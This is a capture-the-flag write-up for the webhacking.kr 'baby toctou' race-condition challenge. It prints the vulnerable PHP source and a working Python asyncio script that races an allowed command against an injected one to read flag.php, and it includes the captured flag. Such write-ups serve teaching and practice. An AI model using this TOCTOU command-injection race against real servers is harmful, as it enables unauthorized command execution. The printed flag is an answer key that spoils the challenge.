baby toctou -- Race Condition

URL: http://webhacking.kr:10019

WebShell [Version 1.0.00000.001]  
  
WebShell:/ $ help  
only "ls", "cat api.php", "cat index.php" allowed  
WebShell:/ $ ls  
api.php  
flag.php  
index.php  
user  
  
WebShell:/ $ cat api.php  
<?php  
	// system($_GET['q']);
	if (!preg_match('/^[a-f0-9]+$/', $_COOKIE["baby_toctou"])) {
	    $newCookie = uniqid() . rand(1, 999999999);
	    setcookie("baby_toctou", $newCookie);
	    $_COOKIE["baby_toctou"] = $newCookie;
	}
	$cmd = $_GET["q"];
	($myfile = fopen("user/{$_COOKIE["baby_toctou"]}.sh", "w")) or die("Unable to open file!");
	fwrite($myfile, $cmd);
	fclose($myfile);
	if ($cmd === "ls" || $cmd === "cat api.php" || $cmd === "cat index.php") {
	    // valid check
	    sleep(1); // my server is small and weak
	    system("sh ./user/{$_COOKIE["baby_toctou"]}.sh");
	} else {
	echo <<<HELP  
only "ls", "cat api.php", "cat index.php" allowed  
HELP;  
	}
?>  
WebShell:/ $

Looks like we have Race Condition, because of sleep before system. First we make good request, followed by bad request. Good request will go into valid check and sleep for 1 second, bad request within this timeframe will write malicious payload into the script file and good request will execute whatever bad has written.

We can easily achieve this using asyncio requests using Python:

import asyncio
from aiohttp import ClientSession

URL = 'http://webhacking.kr:10019/api.php'
COOKIES = {'PHPSESSID': 'hi4uvai5sde90encr0ktq6879f', 'baby_toctou': '66ad3428be225940016037'}

async def fetch(session, payload):
    async with session.get(URL, params={'q': payload}, cookies=COOKIES) as resp:
        return await resp.text()

async def main():
    async with ClientSession() as session:
        tasks = [fetch(session, q) for q in ('ls', 'ls -alh')]
        results = await asyncio.gather(*tasks)
        for result in results:
            print(result)

if __name__ == '__main__':
    asyncio.run(main())
➜ py .\race.py
total 1.8M
drwxr-xr-x 3 root root 4.0K Mar 22  2023 .        
drwxr-xr-x 3 root root 4.0K Aug 24  2019 ..       
-rw-r--r-- 1 root root  653 Mar 22  2023 api.php  
-rw-r--r-- 1 root root   57 Mar 21  2023 flag.php 
-rw-r--r-- 1 root root 3.2K Mar 21  2023 index.php
drwxrwxrwx 2 root root 1.8M Aug  3 04:40 user     

only "ls", "cat api.php", "cat index.php" allowed

Change tasks in code to

        tasks = [fetch(session, q) for q in ('ls', 'cat flag.php')]

And get the flag:

➜ py .\race.py
<?php
  $flag = "FLAG{Mama_i_know_how_toctou_works}";
?>

only "ls", "cat api.php", "cat index.php" allowed

toctue turns out means Time-of-check to time-of-use

https://omni.wikiwand.com/en/articles/Time-of-check_to_time-of-use

Last updated